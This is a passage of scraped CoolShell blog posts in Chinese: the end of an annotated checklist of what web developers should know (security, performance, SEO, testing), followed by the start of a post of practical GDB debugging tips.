rel=\"nofollow\">Safari</a>, <a href=\"http://www.google.com/chrome\" rel=\"nofollow\">Chrome</a>, 或是其它的移动设备上的浏览器)</li>\n<li> <a href=\"http://en.wikipedia.org/wiki/Internet_Explorer\" rel=\"nofollow\">IE 浏览器</a> (测试IE的兼容性你可以使用微软IE的 <a href=\"http://www.microsoft.com/Downloads/details.aspx?FamilyID=21eabb90-958f-4b64-b5f1-73d0a413c8ef&amp;displaylang=en\" rel=\"nofollow\">Application Compatibility VPC Images</a>)</li>\n<li> <a href=\"http://www.opera.com/\" rel=\"nofollow\">Opera</a> 浏览器。</li>\n</ul>\n</ul>\n<p style=\"padding-left: 30px;\">最后，你可以使用一下<a href=\"http://www.browsershots.org/\" rel=\"nofollow\">这个工具</a> 来看看你的网页在不同的浏览器下是怎么被显示出来的（陈皓注：这个工具就是以前本站介绍过的<a href=\"https://coolshell.cn/articles/757.html\" target=\"_blank\" title=\"如何检查网页浏览器的兼容性\">在不同浏览器和平台上检查你的网站的兼容性</a>）</p>\n<ul>\n<li>多考虑一下人们是怎么来访问你的网站而不是那些主流的浏览器：手机，读屏软件和搜索引擎，例如：一些Accessibility的东西： <a href=\"http://www.w3.org/WAI/\" rel=\"nofollow\">WAI</a> 和  <a href=\"http://www.section508.gov/\" rel=\"nofollow\">Section508</a>, 移动设备开发：<a href=\"http://mobiforge.com/\" rel=\"nofollow\">MobiForge</a>.</li>\n</ul>\n<ul>\n<li>部署Staging：怎么部署网站的更新而不会影响用户的访问。 <a href=\"http://programmers.stackexchange.com/questions/46716/what-should-a-developer-know-before-building-a-public-web-site/46738#46738\">Ed Lucas的答案</a> 可以让你了解一些（陈皓注：Ed说了一些如版本控制，自动化build，备份，回滚等机制）。</li>\n</ul>\n<ul>\n<li>千万不要直接给用户显示不友好的错误信息。</li>\n</ul>\n<div><span id=\"more-6043\"></span></div>\n<ul>\n<li>千万不要把用户的邮件地址以明文显示出来，这样会被爬虫爬走并被让用户的邮箱被垃圾邮件搞死。</li>\n</ul>\n<ul>\n<li>为用户的链接加上 <code>rel=\"nofollow\"</code> 的属性以 <a href=\"http://en.wikipedia.org/wiki/Nofollow\" rel=\"nofollow\">避免垃圾网站的干扰</a>。（陈皓注：<strong>nofollow</strong>是HTML的一个属性，用于通知搜索引擎“这个链接所指向的网页非我所能控制，对其内容不予置评”，或者简单地说，该链接不是对目标网站或网页的“投票”，这样搜索引擎不会再访问这个链接。这个是用来减少一些特定垃圾页面对原网站的影响，从而可以改善搜索结果的质量，并且防止垃圾链接的蔓延。）</li>\n</ul>\n<ul>\n<li><a href=\"http://www.codinghorror.com/blog/archives/001228.html\" rel=\"nofollow\">为网站建立一些的限制</a> – 这个属于安全性的范畴。（陈皓注：比如你在Google注册邮箱时，你一口气注册超过两个以上的邮箱，gmail要求给你发短信或是给你打电话认证，比如Discuz论坛的会限制你发贴或是搜索的间隔时间等等，更多的网站会用CAPTCHA来确认是人为的操作。 这些限制都是为了防止垃圾和恶意攻击）</li>\n</ul>\n<ul>\n<li>学习如何做 <a href=\"http://en.wikipedia.org/wiki/Progressive_enhancement\" rel=\"nofollow\">Progressive Enhancement</a>. （陈皓注：<a href=\"http://en.wikipedia.org/wiki/Progressive_enhancement\" rel=\"nofollow\">Progressive Enhancement</a>是一个Web Design的理念，如：1）基础的内容和功能应该可以被所有的浏览器存取，2）页面布局的应该使用外部的CSS链接，3）Javascript也应该是外部链接还应该是 <a href=\"http://en.wikipedia.org/wiki/Unobtrusive_JavaScript\" title=\"Unobtrusive JavaScript\">unobtrusive</a> 的，4）应该让用户可以设置他们的偏好）</li>\n</ul>\n<ul>\n<li>如果POST成功，要<a href=\"http://en.wikipedia.org/wiki/Post/Redirect/Get\" rel=\"nofollow\">在POST方法后重定向网址</a>，这样可以阻止用户通过刷新页面重复提交。</li>\n</ul>\n<ul>\n<li>严重关注Accessibility。因为这是<a href=\"http://www.section508.gov/\" target=\"_blank\">法律上的需求</a>（陈皓注：Section 508是美国的508法案，其是美国劳工复健法的改进，它是一部联邦法律，这个法律要求所有技术要考虑到残障人士的应用，如果某个大众信息传播网站，如果某些用户群体（如残疾人）浏览该网站获取信息时，如果他们无法正常获得所期望的信息（如无法正常浏览），那可以依据相关法规，可以对该网站依法起诉）。 <a href=\"http://www.w3.org/WAI/intro/aria\" rel=\"nofollow\">WAI-ARIA</a> 为这方面的事提供很不错的资源.</li>\n</ul>\n<h4><strong>安全</strong></h4>\n<ul>\n<li>在网上有很多关于安全的文章，但是 <a href=\"http://www.owasp.org/index.php/Category%3aOWASP_Guide_Project\" rel=\"nofollow\">OWASP 开发指导</a> 涵盖了几乎所有关于Web站点安全的东西。（陈皓注：OWASP(开放Web应用安全项目- Open Web Application Security Project)是一个开放的非营利性组织，目前全球有130个分会近万名会员，其主要目标是研议协助解决Web软体安全之标准、工具与技术文件，长期 致力于协助政府或企业了解并改善网页应用程式与网页服务的安全性。OWASP被视为Web应用安全领域的权威参考。2009年下列发布的美国国家和国际立法、标准、准则、委员会和行业实务守则参考引用了OWASP。美国联邦贸易委员会(FTC)强烈建议所有企业需遵循OWASP十大WEB弱点防护守则）</li>\n</ul>\n<ul>\n<li>了解什么是 <a href=\"http://en.wikipedia.org/wiki/SQL_injection\" rel=\"nofollow\">SQL 注入攻击</a> 并知道怎么阻止这种攻击。</li>\n</ul>\n<ul>\n<li>永远不要相信用户的输入（包括Cookies，因为那也是用户的输入）</li>\n</ul>\n<ul>\n<li>对用户的口令进行Hash，并使用salt，以防止Rainbow 攻击（陈皓注：Hash算法可用MD5或SHA1等，对口令使用salt的意思是，user 在设定密码时，system 产生另外一个random string(salt)。在datbase 存的​​是与salt + passwd 产的md5sum 及salt。 当要验证密码时就把user 输入的string 加上使用者的salt，产生md5s​​um 来比对。 理论上用salt 可以大幅度让密码更难破解，相同的密码除非刚好salt 相同，最后​​存在database 上的内容是不一样的。google一下md5+salt你可以看到很多文章。关于<a href=\"http://en.wikipedia.org/wiki/Rainbow_table\" target=\"_blank\">Rainbow 攻击</a>，其意思是很像密码字典表，但不同的是，Rainbow Table存的是已经被Hash过的密码了，而且其查找密码的速度更快，这样可以让攻击非常快）。使用慢一点的Hash算法来保存口令，如 bcrypt (被时间检证过了) 或是 scrypt (更强，但是也更新一些) (<a href=\"http://www.tarsnap.com/scrypt.html\" rel=\"nofollow\">1</a>, <a href=\"http://it.slashdot.org/comments.pl?sid=1987632&amp;cid=35149842\" rel=\"nofollow\">2</a>)。你可以阅读一下 <a href=\"http://codahale.com/how-to-safely-store-a-password/\" rel=\"nofollow\">How To Safely Store A Password</a>（陈皓注：酷壳以前曾介绍过<a href=\"https://coolshell.cn/articles/2078.html\" target=\"_blank\" title=\"如何防范密码被破解\">bcrypt这个算法</a>，这里，我更建议我们应该让用户输入比较强的口令，比如Apple ID注册的过程需要用户输入超过8位，需要有大小写和数字的口令，或是做出类似于<a href=\"https://coolshell.cn/articles/3877.html\" target=\"_blank\" title=\"另类UX让你输入强口令\">这样的用户体验的东西</a>）。</li>\n</ul>\n<ul>\n<li><a href=\"http://stackoverflow.com/questions/1581610/how-can-i-store-my-users-passwords-safely/1581919#1581919\">不要试图自己去发明或创造一个自己的fancy的认证系统</a>，你可能会忽略到一些不容易让你查觉的东西而导致你的站点被hack了。（陈皓注：我在<a href=\"https://coolshell.cn/articles/5987.html\" target=\"_blank\" title=\"如何设计“找回用户帐号”功能\">腾讯那坑爹的申诉系统</a>中说过这个事了，我说过这句话——“真正的安全系统是协同整个社会的安全系统做出来的一道安全长城，而不是什么都要自己搞”，当然，很遗憾不是所有的人都能看懂这个事，包括一些资深的人）</li>\n</ul>\n<ul>\n<li>了解 <a href=\"https://www.pcisecuritystandards.org/\" rel=\"nofollow\">处理信用卡的一些规则 </a>. (<a href=\"http://stackoverflow.com/questions/51094/payment-processors-what-do-i-need-to-know-if-i-want-to-accept-credit-cards-on-m\">这里也有一个问题你可以查看一下</a>) （陈皓注：有两上vendor可以帮助你，一个是 <a href=\"http://www.authorize.net/\" rel=\"nofollow\">Authorize.Net</a> 另一个是 <a href=\"https://www.paypal.com/cgi-bin/webscr?cmd=_payflow-pro-overview-outside\" rel=\"nofollow\">PayFlow Pro</a>）</li>\n</ul>\n<ul>\n<li>使用 <a href=\"http://www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt\" rel=\"nofollow\">SSL</a>/<a href=\"http://en.wikipedia.org/wiki/Https\" rel=\"nofollow\">HTTPS</a> 来加密传输登录页面或是任可有敏感信息的页面，比如信用卡号等。</li>\n</ul>\n<ul>\n<li>知道如何对付session 劫持。（陈皓注：请参看wikipedia的这<a href=\"http://en.wikipedia.org/wiki/Session_hijacking\" target=\"_blank\">Session Hijacking</a>，）</li>\n</ul>\n<ul>\n<li>避免 <a href=\"http://en.wikipedia.org/wiki/Cross-site_scripting\" rel=\"nofollow\">跨站脚本攻击</a>(XSS)。（陈皓注：参看酷壳站前几天发的《<a href=\"https://coolshell.cn/articles/4914.html\" target=\"_blank\" title=\"新浪微博的XSS攻击\">新浪微博的XSS攻击事件</a>》）</li>\n</ul>\n<ul>\n<li>避免 <a href=\"http://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"nofollow\">跨站</a><a href=\"http://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"nofollow\">伪造</a><a href=\"http://en.wikipedia.org/wiki/Cross-site_request_forgery\" rel=\"nofollow\">请求攻击 cross site request forgeries</a> (XSRF).</li>\n</ul>\n<ul>\n<li>保持你的系统里的所有软件更新到最新的patch。</li>\n</ul>\n<ul>\n<li>确保你的数据库连接是安全的。</li>\n</ul>\n<ul>\n<li>确保你能了解最新的攻击技术，以及你系统的脆弱处。</li>\n</ul>\n<ul>\n<li>请读一下 <a href=\"http://code.google.com/p/browsersec/wiki/Main\" rel=\"nofollow\">The Google Browser Security Handbook</a>.</li>\n</ul>\n<ul>\n<li>请读一下 <a href=\"http://rads.stackoverflow.com/amzn/click/0470170778\" rel=\"nofollow\">The Web Application Hacker’s Handbook</a>.</li>\n</ul>\n<ul>\n<li>（陈皓注：之前本站的“<a href=\"https://coolshell.cn/articles/5537.html\" target=\"_blank\" title=\"一些文章资源和趣闻\">一些资源</a>”提到过<a href=\"https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines\" target=\"_blank\">Mozilla的安全编程规范</a>，还有Ruby on Rails的<a href=\"http://guides.rubyonrails.org/security.html\" target=\"_blank\">Web安全的开发教程</a>）</li>\n</ul>\n<h4><strong>性能</strong></h4>\n<ul>\n<li>只要需要，请实现cache机制，了解并合理地使用 <a href=\"http://www.mnot.net/cache_docs/\" rel=\"nofollow\">HTTP caching</a> 以及 <a href=\"http://www.w3.org/TR/html5/offline.html\" rel=\"nofollow\">HTML5 Manifest</a>.</li>\n</ul>\n<ul>\n<li>优化页面 —— 不要使用20KB图片来平铺网页背景。（陈皓注：还有很多网页页面优化性的文章，你可以STFG – Search The Fucking Google一下。如果你要调试的话，你可以使用firebug或是chrome内置的开发人员的工具来查看网页装载的性能）</li>\n<li>学习如何 <a href=\"http://developer.yahoo.com/performance/rules.html#gzip\" rel=\"nofollow\" title=\"gzip content\">gzip/deflate 网页</a> (<a href=\"http://stackoverflow.com/questions/1574168/gzip-vs-deflate-zlib-revisited\">deflate 更好</a>).</li>\n</ul>\n<ul>\n<li>把多个CSS文件和Javascript文件合并成一个，这样可以减少浏览器的网络连数，并且使用gzip压缩被反复用到的文件。</li>\n</ul>\n<ul>\n<li>学习一下 <a href=\"http://developer.yahoo.com/performance/\" rel=\"nofollow\">Yahoo Exceptional Performance</a> 这个网站上的东西，上面有很多非常不错的改善前端性能的指导，以及 <a href=\"http://developer.yahoo.com/yslow/\" rel=\"nofollow\">YSlow</a> 这个工具。 <a href=\"http://code.google.com/speed/page-speed/docs/rules_intro.html\" rel=\"nofollow\">Google page speed</a> 是另一个用来做性能采样的工具。这两个工具都需要安装 <a href=\"http://getfirebug.com/\" rel=\"nofollow\">Firebug</a> 。</li>\n</ul>\n<ul>\n<li>为那些小的图片使用 <a href=\"http://alistapart.com/articles/sprites\" rel=\"nofollow\">CSS Image Sprites</a>，就像工具条一样。 (参看 “最小化 HTTP 请求” ) （陈皓注：把所有的小图片合并成一个图片，然后用CSS把显示其中的一块，这样，这些小图片只用传输一次，酷壳的Wordpress样式的那个RSS订阅列表中的小图标就是这样做的）</li>\n</ul>\n<ul>\n<li>繁忙的网络应该考虑<a href=\"http://developer.yahoo.com/performance/rules.html#split\" target=\"_blank\">把网页的内容分开存放</a>在不同的域名下。（陈皓注：比如有专门的图片服务器——图片相当耗带宽，或是专门的Ajax服务器）</li>\n</ul>\n<ul>\n<li>静态网页 (如，图片，CSS，JavaScript，以及一些不需要访问cookies的网页) 应该放在一个<a href=\"http://blog.stackoverflow.com/2009/08/a-few-speed-improvements/\" target=\"_blank\">不使用cookies</a>的独立的域名下，因为所有在同一个域名或子域名下的cookie会被这个域名下的请求一同发送。另一个好的选择是使用 Content Delivery Network (CDN).</li>\n</ul>\n<ul>\n<li>使用单个页面的HTTP请求数最小化。</li>\n</ul>\n<ul>\n<li>为Javascript使用 <a href=\"http://code.google.com/closure/compiler/\" rel=\"nofollow\">Google Closure Compiler</a> 或是 <a href=\"http://developer.yahoo.com/yui/compressor/\" rel=\"nofollow\">其它压缩工具</a>（陈皓注：压缩Javascript代码可以让你的页面减少网络传输从而可以得到很快的喧染。注意，并不是所有的工具都可以正确压缩Javascript的，Google的这个工具甚至还可以帮你优化你的代码）</li>\n</ul>\n<ul>\n<li>确认你的网站有一个 <code>favicon.ico</code> 文件放在网站的根下，如 <code>/favicon.ico</code>. <a href=\"http://mathiasbynens.be/notes/rel-shortcut-icon\" rel=\"nofollow\">浏览器会自动请求这个文件</a>，就算这个图标文件没有在你的网页中明显说明，浏览器也会请求。如果你没有这个文件，就会出大量的404错误，这会消耗你的服务器带宽。（陈皓注：服务器返回404页面会比这个ico文件可能还大）</li>\n</ul>\n<h4><strong>SEO (搜索引擎优化)</strong></h4>\n<ul>\n<li>使用 “搜索引擎喜欢的” URL，如：使用 <code>example.com/pages/45-article-title</code> 而不是 <code>example.com/index.php?page=45 </code>(陈皓注：这里的URL是说Wordpress的，后者是默认的)</li>\n</ul>\n<ul>\n<li>如果你的动态页面要使用 <code>#</code> ，那么请把其改成 <code>#!</code> ，而在服务端，你需要处理<code>$_REQUEST[\"_escaped_fragment_\"]</code> 这是Google搜索引擎需要的。换句话说，<code>./#!page=1</code> 会被Google搜索引擎转成 <code>./?_escaped_fragments_=page=1。</code> （陈皓注：通常来说URL中的#后的东西都不会被传到服务器上，所以，为了要让Google可以抓取AJAX的东西，你需要使用#!，而Google会把“#!”转成“_escaped_fragment_”来向服务器发请求，Twitter的大量的链接者是#!的，比如：<a href=\"https://twitter.com/#!/your_activity\">https://twitter.com/#!/your_activity</a>）。另外，用户也许会使用Firefox 或 Chromium， <code>history.pushState({\"foo\":\"bar\"}, \"About\", \"./?page=1\");</code> 是一个很不错的命令。所以，就算是我们的地址栏上的地址改变了，页面也不会重新装载。这可以让你使用 <code>?</code> 而不是 <code>#!</code> 也能无刷地保住当前的动态的页面，这可以让AJAX的请求被浏览器记住。</li>\n</ul>\n<ul>\n<li>别使用 “click here” 这样的链接。这样一来，无法SEO，而且对于一些需要使用读屏人来说很不友好（陈皓注：关于读屏软件，可参看本站的“<a href=\"https://coolshell.cn/articles/5514.html\" target=\"_blank\" title=\"如果你看不见你还能编程吗？\">如果看不见你还能编程吗</a>”）</li>\n</ul>\n<ul>\n<li>做一个 <a href=\"http://www.sitemaps.org/\" rel=\"nofollow\">XML sitemap</a>，并放在网端的根下 <code>/sitemap.xml</code>. （陈皓注：这个文件可以让搜索引擎了解你的网站图）</li>\n<li>当你有多个URL指向同一个网页的使用，使用 <a href=\"http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html\" rel=\"nofollow\"><code>&lt;link rel=\"canonical\" ... /&gt;</code></a> 你可以使用 <a href=\"http://www.google.com/webmasters/\" rel=\"nofollow\">Google Webmaster Tools</a> 来查看相关的问题。</li>\n</ul>\n<ul>\n<li>使用 <a href=\"http://www.google.com/webmasters/\" rel=\"nofollow\">Google Webmaster Tools</a> 和 <a href=\"http://siteexplorer.search.yahoo.com/\" rel=\"nofollow\">Yahoo Site Explorer</a>.</li>\n</ul>\n<ul>\n<li>安装 <a href=\"http://www.google.com/analytics/\" rel=\"nofollow\">Google Analytics</a>  (或是别的开源的网站分析工具，如： <a href=\"http://piwik.org/\" rel=\"nofollow\">Piwik</a>).</li>\n</ul>\n<ul>\n<li>了解 <a href=\"http://en.wikipedia.org/wiki/Robots_exclusion_standard\" rel=\"nofollow\">robots.txt</a> 和搜索引擎爬虫是如何工作的。</li>\n</ul>\n<ul>\n<li>重定向请求 (使用 <code>301 重定向网站</code>) ，如果你要把 <code>www.example.com</code> 定向到 <code>example.com</code>(或是其它的变更) 这样可以防止Google的rank因为域名的变化发生改变。（陈皓注：301重定向一般用作域名变更）</li>\n</ul>\n<ul>\n<li>知道并不是所有的爬虫都是好的，有些爬虫的行为并不好。（陈皓注：比如向你的网站发大量的请求导致服务器性能低下）</li>\n</ul>\n<ul>\n<li>如果你有一些非文本的内容需要在 Google’s sitemap  中，比如视频什么的。<a href=\"http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#167608\">Tim Farley的答案</a>，可以让你看到很多有价值的东西。</li>\n</ul>\n<h4><strong>技术</strong></h4>\n<ul>\n<li>理解什么是 <a href=\"http://www.ietf.org/rfc/rfc2616.txt\" rel=\"nofollow\">HTTP</a> 比如 GET, POST, sessions, cookies等，了解什么是 “stateless” 无状态。</li>\n</ul>\n<ul>\n<li>让你的 <a href=\"http://www.w3.org/TR/xhtml1/\" rel=\"nofollow\">XHTML</a>/<a href=\"http://www.w3.org/TR/REC-html40/\" rel=\"nofollow\">HTML</a> 和 <a href=\"http://www.w3.org/TR/CSS2/\" rel=\"nofollow\">CSS</a> 符合 <a href=\"http://www.w3.org/TR/\" rel=\"nofollow\">W3C 规范</a>，并确认他们都是 <a href=\"http://validator.w3.org/\" rel=\"nofollow\">合格的</a>。我们的目标是避免浏览器的 “quirks mode”，并且可以让其更容易地能和非标准的浏览器工作，比如读屏器或移动设备。</li>\n</ul>\n<ul>\n<li>理解浏览器是怎么处理 JavaScript 的。（陈皓：你会看到有些Javascript代码在页面上前面，有些则是在后面，所以你需要对其了解清楚为什么是这样）</li>\n</ul>\n<ul>\n<li>了解浏览器是怎么装载 JavaScript，CSS和其它资源的，了解其对视觉上的影响。（陈皓注：10年前我做网页的时候因为HTML还很弱，所以只能使用table来布局，使用table布局的问题就是整个table读完后页面才会显示，用户的视觉体验并不好）。在某些情况下，你可能需要<a href=\"http://developer.yahoo.net/blog/archives/2007/07/high_performanc_5.html\" target=\"_blank\">把你的脚本放在页面的后面</a>。</li>\n</ul>\n<ul>\n<li>理解 JavaScript 的 sandbox 是怎么怎么工作的，尤其是你想使用iframes。</li>\n</ul>\n<ul>\n<li>请注意 JavaScript 可能会被禁止，这样会让你的AJAX失效。就算是大多数用户都开启了Javascript功能，但是也可能在一些情况下脚本是不被运行的，比如移动终端上，搜索引擎抓网页的时候也并不会执行你的脚本。</li>\n</ul>\n<ul>\n<li>学习 <a href=\"http://www.bigoakinc.com/blog/when-to-use-a-301-vs-302-redirect/\" rel=\"nofollow\">301 和 302 转向的区别</a> (这也是一个SEO的问题).</li>\n</ul>\n<ul>\n<li>尽可能多地学习你的部署平台。（比如：操作系统，Web Server：Apache/Nginx，防火墙，数据库，等等）</li>\n</ul>\n<ul>\n<li>考虑使用一个 <a href=\"http://stackoverflow.com/questions/167531/is-it-ok-to-use-a-css-reset-stylesheet\">Reset Style Sheet</a>.</li>\n</ul>\n<ul>\n<li>考虑使用 JavaScript 框架(如： <a href=\"http://jquery.com/\" rel=\"nofollow\">jQuery</a>, <a href=\"http://mootools.net/\" rel=\"nofollow\">MooTools</a>, <a href=\"http://www.prototypejs.org/\" rel=\"nofollow\">Prototype</a>, <a href=\"http://dojotoolkit.org/\" rel=\"nofollow\">Dojo</a> 或 <a href=\"http://developer.yahoo.com/yui/3/\" rel=\"nofollow\">YUI 3</a>)，它们会很好的兼容于不同的浏览器。（陈皓注：强烈推荐你看一下本站的<a href=\"https://coolshell.cn/articles/4795.html\" target=\"_blank\" title=\"开源中最好的Web开发的资源\">开源中最好的WEB开发资源</a>一文）</li>\n</ul>\n<ul>\n<li>把视觉效果和JS框架合在一起讨论，考虑使用一个Service，如：<a href=\"http://code.google.com/apis/libraries/devguide.html\" rel=\"nofollow\">Google Libraries API</a> 来装载框架，这样可以让浏览器可能早就把这个JS框架已经cache了而不需要再从你的网站上下载了。</li>\n</ul>\n<h4><strong>Bug fixing</strong></h4>\n<ul>\n<li>明白你会花20%的时间写代码，而80%的时候在维护，所以你要小心编码。（陈皓注：参看本站的“<a href=\"https://coolshell.cn/articles/5686.html\" target=\"_blank\" title=\"多些时间能少写些代码\">多些时间可以少些代码</a>”一文）</li>\n</ul>\n<ul>\n<li>设计一个好的错误报告机制。</li>\n</ul>\n<ul>\n<li>设计一个入口可以让人们联系到你并给你建议和批评。</li>\n</ul>\n<ul>\n<li>为你开发的东西形成文档，这样可以让后来的人容易维护你的软件和系统。</li>\n</ul>\n<ul>\n<li>频繁备份（也可确保你的这些备份功能正常） <a href=\"http://stackoverflow.com/questions/72394/what-should-a-developer-know-before-building-a-public-web-site#73970\">Ed Lucas 的回答</a> 有一些忠告。你还需要有一个恢复策略，而不只是一个备份策略。</li>\n</ul>\n<ul>\n<li>使用一个版本控制系统来保存你的代码，如： <a href=\"http://subversion.apache.org/\" rel=\"nofollow\">Subversion</a> 或 <a href=\"http://git-scm.org/\" rel=\"nofollow\">Git</a>.</li>\n</ul>\n<ul>\n<li>别忘了做Acceptance Testing，使用 <a href=\"http://seleniumhq.org/\" rel=\"nofollow\">Selenium</a> 能帮到你。</li>\n</ul>\n<ul>\n<li>确保你有足够的日志，你可以使用 log4j, log4n 或 log4r。如果出了问题，这是可以让你快速找到问题的方式。</li>\n</ul>\n<ul>\n<li>当你写日志的时候，确保你记录了你捕获了处理和未处理异常。报告和分析日志可以让你知道你网站的问题。</li>\n</ul>\n<p>这里有多的东西被省略了，并不是因为那些可能不是有帮助的答案，而是因为那些东西都太细节了，超出了这个问题的范围，因为这本来就是一个Web开发需要了解东西的Overview。我想你可以去看一下其它人的答案，我有时间，我也会补充别人的答案进来。请随意编辑这个答案，因为可能有些东西忘了，也有可能有些东西不对。</p>\n<p style=\"text-align: left;\">（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9666.html\"><img alt=\"浏览器的渲染原理简介\" height=\"150\" src=\"../wp-content/uploads/2013/05/Render-Process-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9666.html\">浏览器的渲染原理简介</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3684.html\"><img alt=\"Web开发人员速查卡\" height=\"150\" src=\"../wp-content/uploads/2011/02/1128-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3684.html\">Web开发人员速查卡</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11021.html\"><img alt=\"从“黑掉Github”学Web安全开发\" height=\"150\" src=\"../wp-content/uploads/2014/02/Github-Security-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11021.html\">从“黑掉Github”学Web安全开发</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6043.html\">Web开发中需要了解的东西</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-2-10 GDB中应该知道的几个调试方法.html",
    "content": "<html><body><p>七、八年前写过一篇《<a href=\"http://blog.csdn.net/haoel/archive/2003/07/02/2879.aspx\" target=\"_blank\">用GDB调试程序</a>》，于是，从那以后，很多朋友在MSN上以及给我发邮件询问我关于GDB的问题，一直到今天，还有人在问GDB的相关问题。这么多年来，有一些问题是大家反复在问的，一方面，我觉得我以前的文章可能没有说清楚，另一方面，我觉得大家常问的问题正是最有用的，所以，在这里罗列出来。希望大家补充。</p>\n<h4>一、多线程调试</h4>\n<p>多线程调试可能是问得最多的。其实，重要就是下面几个命令：</p>\n<ul>\n<li>info thread 查看当前进程的线程。</li>\n<li>thread &lt;ID&gt; 切换调试的线程为指定ID的线程。</li>\n<li>break file.c:100 thread all  在file.c文件第100行处为所有经过这里的线程设置断点。</li>\n<li>set scheduler-locking off|on|step，这个是问得最多的。在使用step或者continue命令调试当前被调试线程的时候，其他线程也是同时执行的，怎么只让被调试程序执行呢？通过这个命令就可以实现这个需求。\n<ul>\n<li>off 不锁定任何线程，也就是所有线程都执行，这是默认值。</li>\n<li>on 只有当前被调试程序会执行。</li>\n<li>step 在单步的时候，除了next过一个函数的情况(熟悉情况的人可能知道，这其实是一个设置断点然后continue的行为)以外，只有当前线程会执行。</li>\n</ul>\n</li>\n</ul>\n<h4>二、调试宏</h4>\n<p>这个问题超多。在GDB下，我们无法print宏定义，因为宏是预编译的。但是我们还是有办法来调试宏，这个需要GCC的配合。</p>\n<p>在GCC编译程序的时候，加上<strong>-ggdb3</strong>参数，这样，你就可以调试宏了。</p>\n<p>另外，你可以使用下述的GDB的宏调试命令 来查看相关的宏。</p>\n<ul>\n<li>info macro – 你可以查看这个宏在哪些文件里被引用了，以及宏定义是什么样的。</li>\n<li>macro – 你可以查看宏展开的样子。</li>\n</ul>\n<p><span id=\"more-3643\"></span></p>\n<h4>三、源文件</h4>\n<p>这个问题问的也是很多的，太多的朋友都说找不到源文件。在这里我想提醒大家做下面的检查：</p>\n<ol>\n<li>编译程序员是否加上了-g参数以包含debug信息。</li>\n<li>路径是否设置正确了。使用GDB的directory命令来设置源文件的目录。</li>\n</ol>\n<p>下面给一个调试/bin/ls的示例（ubuntu下）</p>\n<pre class=\"EnlighterJSRAW\">$ apt-get source coreutils\n$ sudo apt-get install coreutils-dbgsym\n$ gdb /bin/ls\nGNU gdb (GDB) 7.1-ubuntu\n(gdb) list main\n1192    ls.c: No such file or directory.\nin ls.c\n(gdb) directory ~/src/coreutils-7.4/src/\nSource directories searched: /home/hchen/src/coreutils-7.4:$cdir:$cwd\n(gdb) list main\n1192        }\n1193    }\n1194\n1195    int\n1196    main (int argc, char **argv)\n1197    {\n1198      int i;\n1199      struct pending *thispend;\n1200      int n_files;\n1201</pre>\n<h4>四、条件断点</h4>\n<p>条件断点是语法是：break  [where] if [condition]，这种断点真是非常管用。尤其是在一个循环或递归中，或是要监视某个变量。注意，这个设置是在GDB中的，只不过每经过那个断点时GDB会帮你检查一下条件是否满足。</p>\n<h4>五、命令行参数</h4>\n<p>有时候，我们需要调试的程序需要有命令行参数，很多朋友都不知道怎么设置调试的程序的命令行参数。其实，有两种方法：</p>\n<ol>\n<li>gdb命令行的 –args 参数</li>\n<li>gdb环境中 set args命令。</li>\n</ol>\n<h4>六、gdb的变量</h4>\n<p>有时候，在调试程序时，我们不单单只是查看运行时的变量，我们还可以直接设置程序中的变量，以模拟一些很难在测试中出现的情况，比较一些出错，或是switch的分支语句。使用set命令可以修改程序中的变量。</p>\n<p>另外，你知道gdb中也可以有变量吗？就像shell一样，gdb中的变量以$开头，比如你想打印一个数组中的个个元素，你可以这样：</p>\n<pre class=\"EnlighterJSRAW\">(gdb) set $i = 0\n\n(gdb) p a[$i++]\n\n...  